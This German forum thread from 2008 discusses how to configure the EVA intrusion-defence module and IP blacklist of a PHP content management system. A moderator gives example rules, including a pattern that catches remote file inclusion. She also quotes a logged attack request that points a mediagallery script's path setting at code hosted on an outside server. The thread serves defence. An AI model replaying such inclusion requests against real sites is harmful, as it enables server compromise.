Forum

Moderiert von:
Forum Index
Entwicklerforum
     Customizing
     Anleitung EVA?
 

Seite 1 2 3 nächste Seite 


Autor Anleitung EVA?
migaja

Registriert: 11.12.2005
Beiträge: 498


Sende eine Private Nachricht an migaja
Geschrieben: 31.01.2008 12:24

Hallo,

konnte keine Anleitung zum EVA-Modul finden.

Wie muß die Syntax für benutzerdefinierte Regeln aussehen, was bewirken die vorgegebenen Regeln ... naja, überhaupt eben eine Übersicht, was in welches Feld hineingehört und was für einen Zweck es hat.

Wäre da jemand so nett mir das näher zu bringen

viele Grüße
Claudia


Zitieren nach oben
spinne
Registriert: 21.08.2003
Beiträge: 1902
Wohnort: Luzern


Sende eine Private Nachricht an spinne Besuche die Homepage von spinne
Geschrieben: 31.01.2008 12:39

hm, ich war eigentlich der Meinung dass das hiermit drin sei... aber das fehlt wohl doch noch.
Werden wir noch nachholen und hinzu fügen.

Was genau willst du denn wissen?



Übe Dich in Geduld, wenn Du etwas erreichen willst
-----------------------------------------------------------------------------------------
Geheime Gedanken -- Mein Spinnennetz -- Spinnennetz CH -- RenderWorld Cinema4d

Testbereiche, nachgeschaut und dann nachgefragt:
OPN-Laborcenter --- OPN-Themes --- OPN-Bugtracking --- OPN-Doku --- OPN-FAQ


Zitieren nach oben
Scout_GP

Registriert: 16.06.2005
Beiträge: 1054
Wohnort: Berlin


Sende eine Private Nachricht an Scout_GP Besuche die Homepage von Scout_GP
Geschrieben: 31.01.2008 12:42

Alles, ich auch



Gruß Scout
+++ Last.fm | Scoutweb +++

Zitieren nach oben
migaja

Registriert: 11.12.2005
Beiträge: 498


Sende eine Private Nachricht an migaja
Geschrieben: 31.01.2008 16:11

Hallo Tine,

Dein Link war auch meine erste Anlaufstelle für Info´s - war dann ganz überrascht, daß da EVA nicht mit bei ist.

Also EVA kann ja "Angriffe" abwehren und die auslösende IP dann (wenn gewünscht) in die Blacklist aufnehmen.
Wie richte ich z.B. sowas ein?

Wenn EVA noch mehr kann, dann her mit den Info´s

viele Grüße
Claudia


Zitieren nach oben
spinne
Registriert: 21.08.2003
Beiträge: 1902
Wohnort: Luzern


Sende eine Private Nachricht an spinne Besuche die Homepage von spinne
Geschrieben: 31.01.2008 18:46

Alsoooo Eva!
Eva verführte dazumal den Adam...
Nein Spass bei Seite, ich werd euch da mal was zusammen schreibseln.
Fürs erste mal das Modul installieren und auch die Blacklist

Dann sollte (sofern mir gerade im Kopf ist) im Import schon etwas vorhanden sein, also da mal ne klick drauf und gucken was passiert
so ein paar sollten glaub ich schon definiert sein.

dann gibts unten *Hinzufügen*

(ggfs das durch den Import schon Einträge vorhanden sind, mal auf bearbeiten gehen, dann seht ihr die Einstellungen dafür)
wenn nicht, folgendes:

Beispiel:
Name: [ONR0001]
Benutze Regel: Benutzer definierte Regel
Benutzer definierte Regel: system/article/index.php?*=http
Aktion: Standard
Zur Blacklist hinzufügen: Ja
Aktionstext: frei wählbar
Beschreibung: [ONR0001]
Statistik Kategorie: 1

Dann, noch einen Eintrag hinzufügen:

Name: [TYPISCH]
Benutze Regel: typisch
Benutzer definierte Regel: leer
Aktion: Standard
Zur Blacklist hinzufügen: Ja
Alle weiteren Felder leer lassen

speichern.

Dann sollte, wenn ich richtig liege, Angriffe automatisch in die liste hinzugefügt werden oder abgewehrt, muss ich unseren Stefanchef dann auch nochmals genauer interviewen.

Weiter dann mit der IP Blacklist

Eine htaccess schreiben.

Dort werden dann die IP's gespeichert und man kann sehen wie oft ein Angriff verübt wurde, wenn man dort auf bearbeiten geht, sieht man auch z.B.:
Ausgelöst von der IP Adresse: 217.110.144.106 um 10.12.2007 19:04:21
Die URI die den Fehler ausgelöst hat war:
/var/www/web14/html/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www?????????????????????????????


REQUEST_URI=/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www?????????????????????????????

So und jetzt noch ein paar Infos

sowas.

Aja und bei der EVA.... da war noch was bei Einstellungen
automatisch abuse eMail senden?
auf ja stellen, dann bekommt ihr noch ne nette Mail zusätzlich
das ist aber noch nicht scharf geschaltet soviel ich weiss, das bekommen nur *wir* als Anwender.

Für Korrekturen hier, ist dann Stefan zuständig

Gruss Tine


Zitieren nach oben
spinne
Registriert: 21.08.2003
Beiträge: 1902
Wohnort: Luzern


Sende eine Private Nachricht an spinne Besuche die Homepage von spinne
Geschrieben: 31.01.2008 20:06

aja da war dann noch was

hier

und

hier

und

hier

Gruss Tine



Übe Dich in Geduld, wenn Du etwas erreichen willst
-----------------------------------------------------------------------------------------
Geheime Gedanken -- Mein Spinnennetz -- Spinnennetz CH -- RenderWorld Cinema4d

Testbereiche, nachgeschaut und dann nachgefragt:
OPN-Laborcenter --- OPN-Themes --- OPN-Bugtracking --- OPN-Doku --- OPN-FAQ


Zitieren nach oben
migaja

Registriert: 11.12.2005
Beiträge: 498


Sende eine Private Nachricht an migaja
Geschrieben: 01.02.2008 10:41

spinne schrieb am 31.01.2008 um 20:06:54 Uhr folgendes:

aja da war dann noch was

hier

und

hier

und

hier

Gruss Tine

Yepp, auch schon alles gelesen , aber nicht wirklich weiter gekommen.
Da steht auch nicht drin, welche Syntax die Regeln haben müssen und was die vordefinierten Regeln für einen Effekt haben.

Habe unter "benutze Regel" 7 zur Auswahl plus benutzerdefiniert.
Es ist aber nirgends ersichtlich wie der Code ist und was er bewirkt.

Beim Importieren gibt es die Meldung: Diese Daten wurden importiert
Ist aber nix zu sehen, also wohl nicht erfolgreich gewesen. (ok, liegt evtl. auch an lokaler Umgebung - müsste mich da mal online ans Werk machen; da läuft z.Zt. aber noch ´ne 2.4.8 )

viele Grüße
Claudia


Zitieren nach oben
spinne
Registriert: 21.08.2003
Beiträge: 1902
Wohnort: Luzern


Sende eine Private Nachricht an spinne Besuche die Homepage von spinne
Geschrieben: 01.02.2008 11:12

sollte auch mit der 2.4.8 laufen

und versuch mal die regel [typisch] wie ich sie dort geschrieben hab


Zitieren nach oben
migaja

Registriert: 11.12.2005
Beiträge: 498


Sende eine Private Nachricht an migaja
Geschrieben: 01.02.2008 18:12

Hallo Tine,

ich war mal fleißig und habe auf die 2.4.10 geuppt.

Nun habe ich alle Deine Anweisungen befolgt und sehe .... nichts
Muß dann wohl jetzt auf eine "Attacke" warten oder?

Kann man irgendwo nachsehen, daß die Sache "scharf" geschaltet ist?

viele Grüße
Claudia


Zitieren nach oben
migaja

Registriert: 11.12.2005
Beiträge: 498


Sende eine Private Nachricht an migaja
Geschrieben: 01.02.2008 18:25

Ach, noch was vergessen:

Auf der Seite klick von Flash ist links unten eine "Blacklist IP" Box - ist die "Hand gemacht"? Kann keine solche Box in der Auswahl finden.


Zitieren nach oben
sortieren nach
Seite 1 2 3 nächste Seite 

 
Vorheriges Thema:  SVN
Nächstes Thema:  [LANGUAGE] Beschreibung

Gehe zu: